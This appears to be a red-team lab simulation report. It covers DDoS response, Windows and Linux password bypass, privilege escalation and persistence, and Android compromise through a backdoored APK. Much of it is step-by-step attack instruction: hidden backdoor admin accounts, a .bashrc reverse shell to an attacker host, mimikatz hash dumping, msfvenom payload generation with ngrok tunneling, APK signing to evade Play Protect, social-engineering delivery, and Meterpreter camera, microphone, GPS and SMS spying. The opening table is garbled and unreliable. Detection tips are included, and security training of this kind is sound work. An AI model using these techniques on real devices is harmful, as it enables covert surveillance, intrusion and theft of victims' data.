16	Response - Case	Cor-Sybet: resturflisettelyrectaffector/intopley1127.jact
17	Response - Case	
18	Response - Case	207-hypercaldamsef15SERCH/Lonky/taphg.1st.cat
19	Response - Case	267-hyperciCamsetasfulityrecountable.cat
20	Response - Case	CDF-lypet: FRBMD Eaterbot Longelf.cast
21	Response - Case	FBE-lypet: SUDROnfistddet!/regerete10US.Skye
22	Response - Case	CDF-lypet: Packetflsander/Pitatohdiccohemeh(CFscoll/TacaUSlast; Ceastarce-lyek-tcep)
23	Response - Case	CDF-Sybet: picsoofflatter!romcratcolattan.cefy- lile seting)
24	Response - Case	CBT-lypet: sesadad/fialani/sgepfoes1.
25	Response - Case	Cof-Sybet: TTSTOUfrisater;/ssclef coplecestwd/nemei1BS.ogf)
26	Response - Case	Cdf-lypet: SPPReflOle cuverte5)
27	Response - Case	Cof-ayall: 1ZPRselflyttal:/oleteprefle SA12955.ops
28	Response - Case	Cor-aypet: ststatfiratton/plaste&Contacthd1525s.ore)
29	Response - Case	ADF-Sybet: ressceriSystal:/regseach raveunflakes1:85 -pel: 57..ops)
30	Response - Case	Cof-aypet: IUsconfSystal:/fcateach ressunfist collercite)
31	Response - Case	Cof-aypet: TSsconfSystal:/rcaseach raveunfl155.aset)
32	Response - Case	Chc-aybet: resscerflyttal:/regseach ressunfacimentnyvelec: CS...pe)
33	Response - Case	AdF-aypet: ressunflSectal:/regcenetendel1fhlest.ome)
34	Response - Case	CDF-lypettsizaperfISectal:/fconcentalact1fb.cest.301.399)

Blue Team Response & Countermeasures

The defensive team (Blue Team) had to respond with a mix of automated and manual techniques:

1. Real-Time Log Analysis

Suricata detected SYN flood anomalies within 20 seconds using pre-set TCP

thresholds. Wazuh parsed Apache logs and flagged incomplete HTTP headers consistent with Slowloris.

2. Firewall Rule Implementation

- *iptables rules were dynamically injected to drop repeated SYNs from single IPs.*
- *Application firewall limited concurrent HTTP sessions per client IP.*

3. Rate Limiting and SYN Cookies

- *Implemented SYN cookies to handle backlog of TCP connections.*
- *NGINX was configured to limit HTTP request rates and buffer timeouts.*

4. Connection Tracking & Blacklisting

Attacker IPs were flagged based on abnormal session behavior and automatically added to blacklists.


Name	Pats	PInfo	Flags	Hex	Dec	Raw
67	VUFC	02:2.17.5	inoc! nocommendatiars.OD/3/			
48	VUFS	46.9.110	raoc! ipptc->test			
13	VUFS	22.0.16	raoc! lyter->llor!			
10	VUFS	22.0.16	raoc! lyter->ice=1			
16	VUFS	9478.45	raoc! latf->ttc=1			
46	VUFS	8125.48	raoc! latf/ uocsiod			
56	VUFS	7132.62	lrocl! www->gestz.csd			
44	VUFS	92.9.45	Seoc! wwwcoralpsclient.com.univ/V000listeSetro.com/			
39	VUFS	82.9.30	seoc! latf/ wfees!			
18	VUFS	7128.29	seoc! latf/ wfees=1			
10	VUFS	7102.25	raoc! latf->llor=1			
38	VUFS	119.8.14	raoc! latf/>ttc=1			
47	VUFS	72.7.46	raoc! latf/ llor=1			
35	VUFS	95.6.83	taec3! latf/ utte=1			
28	VUFS	7315.45	taoc2! latf/>ttc=1			
28	VUFS	112.9.35	00889! latf/ utte=1			
76	VUFS	114.3.15	00007! latf/ utte=1			
29	VUFS	114.5.13	65008! latf/ utte=1			
46	VUFS	114.0.35	ero8! latf/ utte=1			
76	VUFS	172.8.04	frot! latf/ utte=1			
30	VUFS	172.9.20	gane7! latf/ utte=1			

🔒 Forensics and Post-Incident Actions

After the attack simulation concluded, system forensics were performed:

- *Netstat* and *iftop* logs confirmed socket exhaustion and network saturation.
- Log correlation from Wazuh showed simultaneous spikes in both TCP handshake failures and HTTP 400/500 errors.

- Attack vector timelines were reconstructed to identify peak overlap windows.



🧠 Lessons Learned

Observation

Web servers struggled with long-held HTTP connections

TCP stack was overwhelmed quickly

No alerts for HTTP anomalies in some tools

Attackers used VPNs and rotated IPs

Recommendation

Use reverse proxies like NGINX with tight header timeouts

Deploy SYN cookies and load balancers with attack recognition features

Tune IDS for known DDoS user-agent strings and incomplete headers

Geo-based filtering and anomaly scoring can help reduce impact

The effectiveness of this simulation was not merely in disruption but in demonstrating how easily legacy or misconfigured systems can crumble under a synchronized, multi-vector DDoS strategy.

Final Thoughts on DDoS Readiness

*This exercise emphasized the need for **layered DDoS protection**, not just at the firewall or application level, but across all endpoints and services. Organizations must:*

- *Conduct **routine stress testing***
- *Train response teams for **hybrid attack scenarios***
- *Invest in **behavioral IDS systems** that don't rely only on packet thresholds*

By mimicking real-world tools like Slowloris and hping3 under controlled conditions, we built a realistic simulation of what a modern, persistent DDoS might look like.

2.4 System Exploitation (Windows/Linux)

Page 1: Windows Exploitation Using Hiren's Boot CD

*In a realistic cyber threat simulation, exploiting vulnerable Windows systems is a critical objective for adversaries aiming to gain unauthorized access and escalate privileges. For this scenario, we targeted Windows 7, Windows 10, and Windows 11 environments using **Hiren's Boot CD** — a well-known tool used for system recovery, password reset, and*


disk-level manipulation. Though primarily meant for administrative recovery, in the wrong hands, this tool can be weaponized for exploitation.

The Red Team booted into Hiren's PE (Preinstallation Environment) via ISO on VMWare Workstation. The attacker gained access to local administrator accounts without knowing the password by leveraging the Offline NT Password & Registry Editor bundled inside Hiren's suite. Once loaded, it allowed editing the SAM file (Security Account Manager) on the Windows drive.

Steps Taken:

1. **Boot from Hiren's Boot CD** on the target virtual machine.
2. Use the NT Password Edit tool to locate the Windows/System32/config/SAM file.
3. Select the admin account and clear the password field.
4. Save changes and reboot into Windows — login bypassed successfully.

This method gave full access to the Windows GUI without brute-forcing or injecting malicious payloads. From here, privilege escalation became trivial, as full administrator access was already achieved.



How to Detect:

Such attacks can bypass traditional endpoint protection because they occur offline. However, there are indirect indicators:

- *Unusual boot sequences (from USB or ISO).*
- *Missing login event logs.*
- *Windows Security Logs showing abrupt password resets or account logins with no corresponding authentication trail.*

Recommendations:

- *Disable external boot media access in BIOS.*
- *Use BitLocker drive encryption — prevents SAM file tampering.*
- *Implement BIOS/UEFI passwords to restrict boot device changes.*

Practical System Exploitation – Step-by-Step Execution

Windows Exploitation Using Hiren's Boot CD

In this phase of the simulation, the target systems included Windows 7, Windows 10, and Windows 11 virtual machines. These machines were preconfigured to replicate realistic enterprise environments with local user accounts and active administrator protections. Our goal was to bypass the password authentication mechanisms and gain system access without using traditional brute-force or malware injection techniques.


❖ Tools Used:

- *Hiren's Boot CD (v15.2)*
- *VMware Workstation 17 Pro (hosting VMs)*
- *Windows 7, 10, 11 systems*

Attack Steps:


1. Boot From Hiren's CD ISO:

- *Inserted Hiren's Boot CD into the virtual machine via VMware.*
- *Configured VM to boot from ISO.*
- *Selected “Mini Windows XP” from the Hiren boot menu.*



2. Navigated to Password Reset Tool:

- From Hiren's desktop, accessed HBCD Menu → Programs → Passwords / Keys.
- Launched Offline NT Password Changer



Insert Screenshot Here: [Password Tool Interface]

3. Identified SAM File and Selected User:


- Loaded the SAM file from Windows directory (typically located at C:\Windows\System32\config).
- Listed all available user accounts.
- Selected the local admin account for reset.

4. Cleared Passwords or Set to Blank:

- Chose the option to clear the password hash.
- Wrote changes to disk.

5. Rebooted Into Target OS:

- Ejected the ISO.
- Rebooted system into Windows.
- Successfully logged into the admin account without a password.



: [Successful Login to Target OS]

Detection & Prevention:

Detection Strategy

BIOS/UEFI Boot Order Locks

BitLocker or Full Disk Encryption

Logging BIOS Changes

File Integrity Monitoring

Description

Prevent booting from external devices without admin authentication.

Encrypt system drives to prevent offline access to SAM or system files.

Enable BIOS access logging or alerts to detect unauthorized boot device use.

Use tools like Wazuh or Tripwire to monitor for offline password changes.

Linux Exploitation via Local File Manipulation

On Linux systems, exploitation was simulated via direct access to system files and leveraging TTY control keys.

Tools/Methods Used:

- *Kali Linux (live boot)*
- *VMware Workstation*
- *Target Linux VM (Ubuntu/Debian based)*

Exploitation Steps:

1. Mounted Target Disk in Kali:

- *Booted Kali live environment and mounted the target Linux disk.*
- *Located /etc/shadow and /etc/passwd.*

2. Accessed and Modified User Entries:

- *Opened /etc/shadow with vim or nano.*
- *Replaced root hash with a known password hash from our dictionary (or set to blank for root access).*

```
└─(hackstar@windows)-[~]
└─$ sudo su
[sudo] password for hackstar:
└─(root@windows)-[/home/hackstar]
└─# cat /etc/shadow
root:$y$j9T$OZ8IxkCmNOXyYSMMf7Pzj0$zM7UZ5grLlPuMv
daemon:*:19414:0:99999:7:::
bin:*:19414:0:99999:7:::
sys:*:19414:0:99999:7:::
sync:*:19414:0:99999:7:::
games:*:19414:0:99999:7:::
man:*:19414:0:99999:7:::
lp:*:19414:0:99999:7:::
mail:*:19414:0:99999:7:::
news:*:19414:0:99999:7:::
uucp:*:19414:0:99999:7:::
proxy:*:19414:0:99999:7:::
www-data:*:19414:0:99999:7:::
backup:*:19414:0:99999:7:::
list:*:19414:0:99999:7:::
irc:*:19414:0:99999:7:::
_apt:*:19414:0:99999:7:::
nobody:*:19414:0:99999:7:::
systemd-network:!*:19414:::::
mysql:!:19414:::::
tss:!:19414:::::
strongswan:!:19414:::::
systemd-timesync:!*:19414:::::
```

3. Rebooted Into Target Linux OS:

- *Unmounted disk.*
- *Rebooted.*
- *Logged in as root or privileged user with altered password.*

4. (Alternate) Ctrl + E Bypass:

- *During login prompt in recovery mode, pressed **Ctrl + E** or **Ctrl + Alt + F2** to drop into shell.*
- *Mounted root as RW using `mount -o remount,rw /`.*
- *Reset user password via `passwd` command.*

```

[ 2.405500] [Firmware Bug]: cpu 0, try to use APIC520 (LVT offset 2) for vect
or 0x1f4, but the register is already in use for vector 0x0 on this cpu
[ 0.074303] [Firmware Bug]: cpu 1, try to use APIC520 (LVT offset 2) for vect
or 0x1f4, but the register is already in use for vector 0x0 on this cpu
[ 0.074303] [Firmware Bug]: cpu 2, try to use APIC520 (LVT offset 2) for vect
or 0x1f4, but the register is already in use for vector 0x0 on this cpu
[ 0.074303] [Firmware Bug]: cpu 3, try to use APIC520 (LVT offset 2) for vect
or 0x1f4, but the register is already in use for vector 0x0 on this cpu
[ 20.341242] pix4_smbus 0000:00:07.3: SMBus Host Controller not enabled!
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@none:~# ls
boot etc initrd.img lib lib64 media opt root sbin sys usr vmlinuz
bin dev home initrd.img.old lib32 lost+found mnt proc run srv tmp var vmlinuz.old
root@none:~#
```

Detection & Prevention:

Detection Strategy

Grub Password Protection

Disk Encryption (LUKS)

Auditd and Login Logs

Kernel-Level File Access Monitoring

Explanation

Prevents boot menu editing or root shell entry via recovery.

Ensures unauthorized mounting of disks won't reveal sensitive files.

Enables logging of all shell and password change activities.

Tools like AuditD or OSSEC can detect shadow/passwd file tampering.

Note for Screenshot Placement:

- Place screenshots after each major action (boot, tool usage, file modification, login success).
- Use your own simulation outputs (as you're doing) for authenticity.

Page 3: Privilege Escalation and Persistence Techniques (Windows/Linux)

Privilege Escalation on Windows Systems

*Once access to a Windows machine is obtained—whether by password bypass or other methods—the next objective is to **elevate privileges** to administrator or SYSTEM level. In this simulation, multiple techniques were employed to exploit common Windows misconfigurations.*

 **Steps to Perform Privilege Escalation on Windows:**

❖ Step 1: Check Current User Privileges

bash

CopyEdit

whoami /priv

net user

This reveals if the user has administrative rights or limited permissions.

❖ Step 2: Enumerate Services and Permissions

- *Use AccessChk from Sysinternals to find services with weak permissions:*

bash

CopyEdit

*accesschk.exe -uwcqv "Users" * /accepteula*

- *Look for unquoted service paths:*

bash

CopyEdit

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"

❖ Step 3: Exploit Unquoted Service Path Vulnerability

- Place a **malicious executable** in the directory that's vulnerable, e.g. C:\Program Files\MyService.exe.
- Restart the service using:

bash

CopyEdit

net stop <servicename> && net start <servicename>

- This executes the malicious file as **SYSTEM**.
-

❖ Step 4: Use PsExec to Get SYSTEM Shell

bash

CopyEdit

PsExec.exe -i -s cmd.exe

This launches a new shell with SYSTEM-level privileges.

Windows Persistence Steps

Once SYSTEM access is gained, persistence is set up to retain control after reboot.

❖ Step 1: Add a New Hidden Admin User

bash

CopyEdit

net user backdoor Pass@123 /add

net localgroup administrators backdoor /add

Step 2: Create Scheduled Task for Auto-Execution

powershell

CopyEdit

```
schtasks /create /sc minute /mo 5 /tn "BackdoorTask" /tr "C:\backdoor.exe"
```

Step 3: Hide User from Login Screen (Optional)

reg

CopyEdit

```
reg add "HKLM\Software\Microsoft\Windows  
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD  
/d 0 /f
```

Privilege Escalation on Linux Systems

Linux privilege escalation often depends on misconfigurations and enumeration. Here, we used known tools and command-line techniques.

Steps for Linux Escalation:

Step 1: Enumerate Sudo Permissions

bash

CopyEdit

```
sudo -l
```

If the current user can execute commands as root without password (NOPASSWD), it's exploitable.

❖ Step 2: Check for SUID Binaries

bash

CopyEdit

```
find / -perm -4000 -type f 2>/dev/null
```

Common binaries like /usr/bin/find can be abused:

bash

CopyEdit

```
find . -exec /bin/sh \; -quit
```

❖ Step 3: Exploit Cron Jobs

- *List cron jobs:*

bash

CopyEdit

```
ls -la /etc/cron.* /var/spool/cron
```

- *Replace a writable script with a reverse shell or privilege-raising payload.*
-

❖ Step 4: Kernel Exploits (If Vulnerable)

- *Find kernel version:*

bash

CopyEdit

```
uname -r
```

-
- Use DirtyCow or other kernel exploit if unpatched.

Linux Persistence Steps

Step 1: Inject SSH Key

bash

CopyEdit

```
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
```

Step 2: Edit .bashrc to Auto-Run Backdoor

bash

CopyEdit

```
echo "/bin/bash -i >& /dev/tcp/attackerIP/4444 0>&1" >> ~/.bashrc
```

Step 3: Add Root Cron Job

bash

CopyEdit

```
echo "* * * * * root /bin/bash /tmp/root.sh" >> /etc/crontab
```

Detection and Prevention Measures

Risk	Detection	Prevention
<i>Unquoted Service Paths</i>	<i>Check service configs</i>	<i>Always quote paths</i>
<i>Sudo Misconfigs</i>	<i>Audit sudoers</i>	<i>Grant minimal privilege</i>
<i>SUID Misuse</i>	<i>find + manual check</i>	<i>Remove unused SUIDs</i>
<i>Cron Hijacks</i>	<i>Monitor cron scripts</i>	<i>Protect with root-only access</i>
<i>Persistence (Users/SSH/Cron)</i>	<i>Audit users & services</i>	<i>Apply least privilege principle</i>

Post-Exploitation Control and Impact

Objective of Post-Exploitation

*Once access has been gained and privilege escalation has succeeded, attackers focus on **post-exploitation activities**. This stage is essential because it solidifies long-term access, extracts critical data, and uses the system as a pivot to reach deeper into the network.*

In our simulated environment, both Windows and Linux systems were subjected to post-exploitation steps to mimic real-world threats.

Post-Exploitation on Windows Systems

*After successfully elevating to SYSTEM using techniques like **unquoted service path exploitation** or **Hiren's Boot CD bypass**, we proceeded with actions to demonstrate system control and data extraction:*

1. Accessing System Files

One of the key indicators of system compromise is the ability to freely read sensitive files:
powershell

CopyEdit

```
type C:\Users\Administrator\Desktop\passwords.txt
```

```
type C:\Windows\System32\config\SAM
```

2. Dumping Password Hashes

*The **SAM file**, which stores Windows password hashes, was accessed using tools like **mimikatz** or **pwdump**:*

cmd

CopyEdit

mimikatz

privilege::debug

lsadump::sam

*These hashes can later be cracked offline using **John the Ripper** or **Hashcat**, allowing lateral movement into other systems.*

3. Remote Access Tools Deployment

Backdoors and remote access tools (RATs) were deployed to ensure persistent connection. We used:

- *Custom reverse shell binaries*
- *Auto-start via registry and startup folders*
- *Scheduled tasks to relaunch the payload every minute*

This setup ensures even after reboots, attacker control is maintained.

Post-Exploitation on Linux Systems

1. Reading Critical System Files

Linux systems were similarly compromised to show attacker capabilities:

bash

CopyEdit

cat /etc/shadow

cat /var/log/auth.log

These files contain hashed passwords and login records, which help attackers understand user behavior and attack patterns.

```
root:$j9T$0Z8IxkCmNOXyYSMMf7Pzj0$zM7UZ5grLlPuMV.sqmnky7TjHxontdGH4ro2aIVUiY8:20188:0:99999:7:::  
daemon:*:19414:0:99999:7:::  
bin:*:19414:0:99999:7:::  
sys:*:19414:0:99999:7:::  
sync:*:19414:0:99999:7:::  
games:*:19414:0:99999:7:::  
man:*:19414:0:99999:7:::  
lp:*:19414:0:99999:7:::  
mail:*:19414:0:99999:7:::  
news:*:19414:0:99999:7:::  
uucp:*:19414:0:99999:7:::  
proxy:*:19414:0:99999:7:::  
www-data:*:19414:0:99999:7:::  
backup:*:19414:0:99999:7:::  
list:*:19414:0:99999:7:::  
irc:*:19414:0:99999:7:::  
_apt:*:19414:0:99999:7:::  
nobody:*:19414:0:99999:7:::  
systemd-network:!*:19414:::::  
mysql!:19414:::::  
tss!:19414:::::  
strongswan!:19414:::::  
systemd-timesync:!*:19414:::::  
redsocks!:19414:::::  
muhad...1.10/11.....
```

2. Credential Harvesting and Session Hijacking

If the system runs web services or databases, credentials stored in config files were extracted:

bash

CopyEdit

cat /var/www/html/wp-config.php

cat /root/.bash_history

These files often include database passwords, SSH keys, and command history—extremely valuable for further exploitation.

```
[root@windows]~[/home/hackstar]
└─# cat /root/.bash_history
bash mach.sh
ls
./mach.sh
bash mac.sh
exit

[root@windows]~[/home/hackstar]
```

3. Lateral Movement (Simulated)

Using harvested credentials and tokens, simulation included attempts to move laterally between virtual machines:

- *Using SSH keys from ~/.ssh/*
- *Token reuse in web-based platforms*
- *Password re-use on other services*

This reflects real-world attacks like ransomware campaigns that begin with one infected device but later spread to entire networks.

Real-World Impact: Why This Matters

Attacks like these aren't just theoretical—they replicate real breaches like:

- **WannaCry**: Used EternalBlue to spread across Win7 machines globally
- **Shadow Brokers Leak**: Included critical exploits like DoublePulsar and EternalRomance
- **Linux SSH brute-force campaigns** that install crypto miners or launch further attacks

By gaining complete control over systems, attackers can:

- *Encrypt or steal data*
 - *Disable critical services*
 - *Compromise national or organizational infrastructure*
-

Detection and Prevention Summary

Post-Exploitation Action	Detection	Prevention
<i>Password dump from SAM</i>	<i>AV logs, File access logs</i>	<i>Use full disk encryption, restrict debug rights</i>
<i>Cron job or task hijack</i>	<i>Monitor schtasks, crontab</i>	<i>Audit scheduled tasks</i>
<i>Config file leaks</i>	<i>File integrity monitoring</i>	<i>Limit read access to config</i>
<i>Shadow file access</i>	<i>Auth logs, auditd</i>	<i>Root-only file permissions</i>
<i>RAT or reverse shell</i>	<i>Network traffic monitoring</i>	<i>Use EDR tools, restrict outbound traffic</i>

Page 1: Introduction to Android Exploitation

Android devices are increasingly becoming prime targets for cyberattacks due to their widespread usage, open architecture, and diverse app ecosystems. In this simulation, we focused on real-world exploitation techniques used to compromise an Android device, primarily through the use of malicious APKs created with payloads. The targeted device was a **Redmi 9 Power**, a commonly available Android smartphone.

This simulation aimed to demonstrate how attackers can gain unauthorized access to an Android device using a custom-crafted APK payload. The exploit was conducted using a hybrid setup—**Windows OS** was used for the payload crafting and VPN tunneling tools, while **Kali Linux** hosted the exploit handler using msfconsole.


Tool Setup Overview

- **APK Easy Tool (Windows)** – Used to recompile and sign the APK file after payload insertion.
- **Msfvenom (Kali Linux)** – Used to generate a malicious APK embedded with a reverse TCP shell.
- **Portmap.io (Windows)** – Provided static port forwarding for reverse shell tunneling.
- **Ngrok (alternative)** – Used during testing for temporary port exposure.

- **OpenVPN (Windows)** – Connected the system to the Portmap.io VPN network.
 - **Msfconsole (Kali)** – Launched the exploit handler to receive the reverse shell.
 - **Redmi 9 Power (Android)** – Physical device used as the vulnerable target.
-

Objectives of the Simulation

- Craft a backdoored Android APK using msfvenom.
 - Modify and sign the APK using APK Easy Tool for legitimacy.
 - Use Portmap.io and OpenVPN to expose the attacker's machine to the internet.
 - Deliver the APK to the victim (via email, USB, or phishing page).
 - Gain a Meterpreter shell from the Android device.
 - Browse files, extract sensitive data, and locate the device.
-



Why Use APK Easy Tool on Windows?

APK Easy Tool offers a GUI-based way to decompile, edit, and repackage APK files. Many payloads generated by msfvenom are flagged or do not function unless properly recompiled and signed. This tool simplifies the process for Windows users and makes the repackaged app appear more legitimate to unsuspecting victims.

Security Implications

Once installed on a target device, the malicious app operates in the background.
Attackers gain access to:

- File system
 - Camera
- Location (GPS)
- SMS and call logs
 - Microphone
- Installed app list

This kind of access could be exploited to monitor victims, extract credentials, or implant ransomware.



Detection & Prevention Measures

Detection Techniques

Monitor for unknown APK installations via EDR logs

Check battery and data usage spikes

Behavioral monitoring via mobile threat defense tools

Mitigation Strategies

Block APK installs from unknown sources

Regular app audit and device hardening

Enforce strict app store policies

Let me know when you're ready for **Page 2**, where we'll dive into the step-by-step guide to generating and deploying the APK payload.

Android Hacking – Page 2: Crafting & Delivering the Payload

This part of the simulation focuses on the technical steps of generating a backdoored APK payload, forwarding network traffic using tunneling services, signing the APK to bypass security layers like Play Protect, and finally delivering the malicious APK to the Android target for exploitation.

We used both Kali Linux and Windows systems during this process, leveraging tools such as msfvenom, APK Easy Tool, ZSigner, and Ngrok/Portmap.io to simulate a realistic cyberattack scenario on a **Redmi 9 Power Android device**.

Step-by-Step Process

Step 1: Create a Malicious APK using msfvenom (Kali Linux)

The first step is to generate the APK file that will give us a reverse shell when executed on the Android phone.

bash

Copy-edit

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=<your-forwarded-address>
          LPORT=4444 -o evil.apk
```

- -p android/meterpreter/reverse_tcp: Payload to control the Android device.
- LHOST: Your forwarded domain/IP (e.g., 0.tcp.in.ngrok.io or from Portmap.io).
 - LPORT: Port mapped to your local listener.
 - -o evil.apk: Name of the output payload.

```
[sudo] password for windows:
[--(root@windows)-[/home/hackstar]
# msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.in.ngrok.io LPORT=18076 >evil.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10236 bytes
```

Step 2: Setup Port Forwarding (Windows)

Android targets can't directly connect back to systems behind NAT or firewalls. To simulate a public attack surface, we use:

- **Ngrok** (Free & easy):

bash

CopyEdit

ngrok tcp 4444

- **Portmap.io** (More flexible):

Configure an OpenVPN profile → Launch VPN → Get forwarded IP and Port


```
ngrok

✖ Route traffic by anything: https://ngrok.com/r/iep

Session Status           online
Account                  trend7setter@gmail.com (Plan: Free)
Version                 3.22.0
Region                  India (in)
Web Interface            http://127.0.0.1:4040
Forwarding              tcp://0.tcp.in.ngrok.io:19957 -> localhost:8080

Connections             ttl     opn     rt1     rt5     p50     p90
                        0       0      0.00    0.00    0.00    0.00
```

figure: ngrok exposes your system's port to the internet, allowing the APK to connect back successfully.



Unsigned APKs will be blocked. We bypass this using:

Toolset:

- **APK Easy Tool** (GUI APK signer, decompiler)
 - **ZSigner** or **APKMTTool** for CLI signing

Process:

1. Copy evil.apk to Windows.
2. Open it with APK Easy Tool.
3. Use the “Sign APK” feature or run:

bash

CopyEdit

```
java -jar zsigner.jar -keystore keystore.jks -signedapk signed_evil.apk evil.apk
```

4. Final APK: signed_evil.apk – now bypasses Play Protect warnings.
5. z

Complete

I: Signing...

I: Sign File (V1 + V2): /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/Media/WhatsApp Documents/Sent/Nuclear Chain Reaction_1.1_APKPure.apk

I: The signature is complete and the output file is '/storage/emulated/0/Android/media/com.whatsapp/WhatsApp/Media/WhatsApp Documents/Sent/Nuclear Chain Reaction_1.1_APKPure_sign(1).apk'.

I: Time spent: 00:00:01.11

INSTALL

COPY

OK



⌚ Step 4: Deliver the Payload to the Android Device

We use social engineering methods such as:

- Renaming APK to “Premium Video Player.apk”
 - Sending it via WhatsApp/Telegram
- Hosting on a website claiming to be an app update

Upon installation and execution, the payload triggers, and the victim unknowingly grants access




Figure: APK File Nuclear chain on Android Screen with Fake App Icon]

Step 5: Launch msfconsole to Receive the Reverse Shell (Kali Linux)

Back on Kali, we wait for the device to connect using:

```
bash  
CopyEdit  
msfconsole  
use exploit/multi/handler  
set payload android/meterpreter/reverse_tcp  
set LHOST <your-tunnel-address>  
set LPORT 4444  
run
```

Once the APK runs on the Android device, we receive a session with full control over the target.

APK Easy Tool

APK Easy Tool 1.55

Main Framework Smali/baksmali Log output Options FAQ About

APK / JAR / Dec. folder: F:\testing\android\background-eraser-2-5-2.apk

Decompile name: background-eraser-2-5-2

Compile/sign name: background-eraser-2-5-2

Drop APK/JAR/Decomposed folder here.

Decompile:

- Force delete destination directory

Compile:

- Skip changes detection
- Keep original signature
- Use aapt2

Sign:

- ZipAlign after compile
- Sign APK after compile (overwrite)
- Install APK after signing
- Overwrite the APK (drag and drop only)

Package name: com.handyCloset.android.eraser
 Launch activity: com.handyCloset.android.eraser.MainActivity
 Min SDK version: 21 (5.0) Version name: 2.5.2
 Target SDK version: 28 (9.0) Version code: 20
[View in Play Store](#)

Apktool version: 2.4.0
 Compression-level: 9
 Java heap size: 1024 MB

Select log file to view: 2024_12_05.txt

Enable log output

I: Checking whether sources has changed...
 I: Smaling small folder into classes.dex...
 W: Unknown file type, ignoring: D:\CDI TOOLS\APK EASY TOOL\1-Decompiled APKS\background-eraser-2-5-2\smali\com\handycloset\android\eraser\MainActivity.smali.bak
 I: Checking whether resources has changed...
 I: Building resources...
 I: Copying libs... (/lib)
 I: Copying libs... (/kotlin)
 I: Building apk file...
 I: Copying unknown files/dir...
 I: Built apk...

05-12-2024 17:00:54
 Signing APK file... (ApkSignerPath.jar) (CMD mode: WriteLine)
 /c "java -Xmx1024m -jar "D:\CDI TOOLS\APK EASY TOOL\Resources\ApkSigner.jar" sign --key "D:\CDI TOOLS\APK EASY TOOL\Resources\apkeasystool.pk8" --cert "D:\CDI TOOLS\APK EASY TOOL\Resources\apkeasystool.pem" --out "D:\CDI TOOLS\APK EASY TOOL\2-Recompiled APKS\background-eraser-2-5-2.apk" "D:\CDI TOOLS\APK EASY TOOL\2-Recompiled APKS\background-eraser-2-5-2.apk""

Open log directory Delete all log files Clear log

File Actions Edit View Help

root@kali: ~ x root@kali: ~/Desktop x root@kali: ~ x

Name	Current	Setting	Required	Description
Payload options (android/meterpreter/reverse_tcp):				
Name	Current	Setting	Required	Description
LHOST	localhost		yes	The listen address (an interface may be specified)
LPORT	8080		yes	The listen port

Exploit target:

Id	Name
0	Wildcard Target

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/handler) > exploit
[*] You are binding to a loopback address by setting LHOST to ::1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on ::1:8080
```

5.2.5 Android Hacking – Page 3: Post-Exploitation Activities

After successfully delivering and executing the payload on the victim's Android device (Redmi 9 Power), the attacker gains control through a Meterpreter session within msfconsole. This post-exploitation phase demonstrates the true power of such an attack. From this point onward, the attacker is able to monitor, manipulate, and extract sensitive data from the compromised device without the victim's knowledge.

All activities performed in this simulation were strictly within a lab environment and tested only on personally-owned devices for research and ethical purposes.



Step-by-Step Breakdown of Post-Exploitation with Meterpreter

✓ Step 1: Confirming the Session and Target Info

Once the payload executes, msfconsole opens a session with the compromised device. The attacker can interact with it using:

bash

CopyEdit

sessions

session -i 1

Then use sysinfo to get device details and check_root to see if root access is available.

```
File Actions Edit View Help
root@kali: ~ × root@kali: ~/Desktop × root@kali: ~ ×

Name Current Setting Required Description
LHOST
LPORT 4444 yes The listen address (an interface may be specified)
yes The listen port

Exploit target:

Id Name
-- --
0 Wildcard Target

View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set lhost localhost
lhost => localhost
msf6 exploit(multi/handler) > set lport 8080
lport => 8080
msf6 exploit(multi/handler) > run

[*] You are binding to a loopback address by setting LHOST to ::1. Did you want ReverseListener?
[*] Started reverse TCP handler on ::1:8080
[*] Sending stage (78179 bytes) to ::1
[*] Meterpreter session 1 opened (::1:8080 → ::1:35092) at 2024-12-05 08:29:55 -0500
```

📁 Step 2: Accessing Device Files

Using Meterpreter, the attacker navigates through directories on the target device:

bash

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cd /sdcard/DCIM

ls

download IMG001.jpg

This shows how photos and documents stored locally can be copied silently, including private images, downloaded files, and potentially backups.

```

File Actions Edit View Help
root@kali: ~ x root@kali: ~/Desktop x root@kali: ~ x

Command Description
activity_start Start an Android activity from a Uri string
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
hide_app_icon Hide the app icon from the launcher
interval_collect Manage interval collection capabilities
send_sms Sends SMS from target session
set_audio_mode Set Ringer Mode
sqlite_query Query a SQLite database from storage
wakelock Enable/Disable Wakelock
wlan_geolocate Get current lat-long using WLAN information

Application Controller Commands

Command Description
app_install Request to install apk file
app_list List installed apps in the device
app_run Start Main Activity for package name
app_uninstall Request to uninstall application

meterpreter > h

```

Step 3: Activating the Camera

To take photos from the front or rear camera:

bash


CopyEdit

webcam_list

webcam_snap

Without any permission prompt, the camera activates, takes a picture, and sends it back to the attacker.

This action emphasizes the seriousness of such exploits as it violates the user's privacy without consent.



➤ Step 4: Recording Audio from Microphone

Another powerful feature is audio recording. By using:

bash

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record_mic -d 10 -f audio.wav

The attacker can record ambient sounds or conversations near the device, and download the recording later. This is particularly dangerous in scenarios where confidential discussions are held near compromised devices.

📍 Step 5: GPS Location Tracking

Meterpreter supports real-time geolocation extraction using:

bash

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geolocate

This command returns the exact latitude and longitude of the device, allowing the attacker to trace physical movement or real-world locations of the target.

Step 6: Extracting SMS and Contact Info (Optional)

You can also extract stored SMS messages and contacts:

bash

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dump_sms

dump_contacts

These allow an attacker to impersonate the user, gather social information, or launch phishing attacks using known contacts.

Detection and Prevention

How to Detect This Attack:

- **Suspicious background traffic or connections to unknown IP addresses**
 - Battery draining rapidly or the device heating up without use
 - Unfamiliar apps installed that don't appear in Play Store
 - The camera or microphone activating unexpectedly

Precautionary Measures:

- Always download apps from the official Play Store
- Avoid clicking on unknown links or installing apps shared via unknown sources
 - Keep Play Protect and your Android version up to date
 - Regularly review app permissions and uninstall suspicious apps
